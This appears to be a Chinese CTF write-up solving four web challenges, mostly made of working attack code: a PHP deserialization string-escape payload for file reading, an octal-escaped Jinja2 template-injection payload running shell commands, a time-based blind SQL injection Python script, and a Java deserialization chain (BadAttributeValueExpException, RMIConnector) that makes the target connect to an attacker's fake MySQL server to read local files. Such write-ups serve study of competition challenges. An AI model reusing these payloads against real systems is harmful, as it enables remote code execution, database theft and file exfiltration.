就做出来四道web题,总体质量还行,tcl,pwn神太猛了

ezus

可以看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?>

直接百度就可以发现是 :[Zer0pts2020]basename函数漏洞
只需保证tm.php后面是非ascii值即可

  • /index.php/tm.php/%aa?source
  • /index.php/tm.php/%bb?source
  • /index.php/tm.php/%cc?source

然后拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class UserAccount
{
protected $username;
protected $password;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}

function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}

function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}

class order
{
public $f;
public $hint;

public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}

public function __wakeup()
{
//something in hint.php
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}

public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo "<br/>".$out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}

$username = $_POST['username'];
$password = $_POST['password'];

$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>

发现很明显的反序列化字符串逃逸,并且php版本为5.6.9,可以+1绕过wakeup

后面的order类也是原题改的,直接用a://prankhub/../../../../../../../etc/passwd就可以任意文件读取了
然后发现f这个字符串要存在try和pass就可以文件包含php了,伪造一个目录名为trypass,直接伪协议读取hint,即:

1
2
$a = new order("a://prankhub/../../../../../../../etc/passwd","php://filter/convert.base64-encode/resource=./trypass/../hint");
echo serialize($a);

前面是逃逸,需要逃逸";s:11:"%00*%00password";s:189:"28个字符,那么
$username = "@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";即可,最后的exp:

1
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:52:"a://prankhub/../../../../../../../f1111444449999.txt";}

没有人比我更懂py

直接使用8进制绕过字符

1
{{()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\145\166\141\154"]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\47\51\56\162\145\141\144\50\51")}}

最后读flag即可

1
{{()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\145\166\141\154"]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51")}}

popsql

发现没有过滤or,然后空格用/**/代替,发现比较的很多方法都被ban了,用不了<>=、regexp等等,最后发现用strcmp即可,如果匹配到相同的即为0,小于为-1,大于为1

然后就可以配合if来进行盲注了,很明显匹配到即为0

发现right没有被ban,然后使用ord转换为ascii码,使用benchmark(10000000,sha(1))延时进行盲注
最后发现无列名的union被过滤了,跑一下sys.statement_analysis的query记录,发现列名为f1aG123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time

url = "http://172.51.3.196/"

flag = ""
for i in range(1,500):
for j in range(32,127):
# payload = "' or if((select strcmp(ord(right(database(),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
# payload = "' or if((select strcmp(ord(right((select group_concat(table_name)from sys.schema_table_statistics_with_buffer),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
# payload = "' or if((select strcmp(ord(right((select group_concat(query) from `sys`.`statement_analysis`),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
payload = "' or if((select strcmp(ord(right((select group_concat(f1aG123) from Fl49ish3re),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
data = {
"username":"admin",
"password":payload.replace(' ', '/**/')
}
t1 = time.time()
r = requests.post(url,data=data)
t2 = time.time()
if(t2-t1>2):
flag = flag+chr(j)
print(flag[::-1])
break

得到flag

NoRCE

可以看到存在反序列化,然后需要hashcode一样

考烂了的点,前面的字符ascii -1,后面的字符+31即可,由于是secret为固定的值rO0ABX,设置key为rO0AAw即可

然后可以看到有个toString可以直接到getConnect然后触发connect
connect就是jdbc的连接,那么很明显可以用BadAttributeValueExpException来触发toString

但发现反序列化重构了resolveClass,过滤掉了com.example.demo.bean.Connect

我们还可以用RMIConnector,正好也可以触发connect方法,触发二次反序列化
最后发现/flag读不到flag,这里注意到MySQL Fake Server的一段话:有关JDBC下的allowUrlInLocalInfile选项可以看下这篇:MySQL JDBC Connector的allowUrlInLocalInfile选项利用
发现如果allowUrlInLocalInfile为true就可以用file协议,最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
//jdbc
Connect url = new Connect("jdbc:mysql://10.91.3.6:3306/test?user=fileread_file:///flagyoucatfindit&allowUrlInLocalInfile=true","","");
MyBean mybean = new MyBean(1,2,url);
BadAttributeValueExpException poc1 = new BadAttributeValueExpException(1);
setFieldValue(poc1,"val",mybean);

ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(poc1);
toser.close();

String exp= Base64.getEncoder().encodeToString(tser.toByteArray());

//二次反序列化
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean mybean2= new MyBean(1,2,rmiConnector);
BadAttributeValueExpException poc2 = new BadAttributeValueExpException(1);
setFieldValue(poc2,"val",mybean2);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("rO0AAw");
oos.writeObject(poc2);
oos.close();

String poc = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(poc);

//反序列化
byte[] bytes = tools.base64Decode(poc);
InputStream inputStream = new ByteArrayInputStream(bytes);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
String secret = poc.substring(0, 6);
String key = myObjectInputStream.readUTF();
System.out.println(key.hashCode());
System.out.println(secret.hashCode());
}
}

看一下根目录

得到flag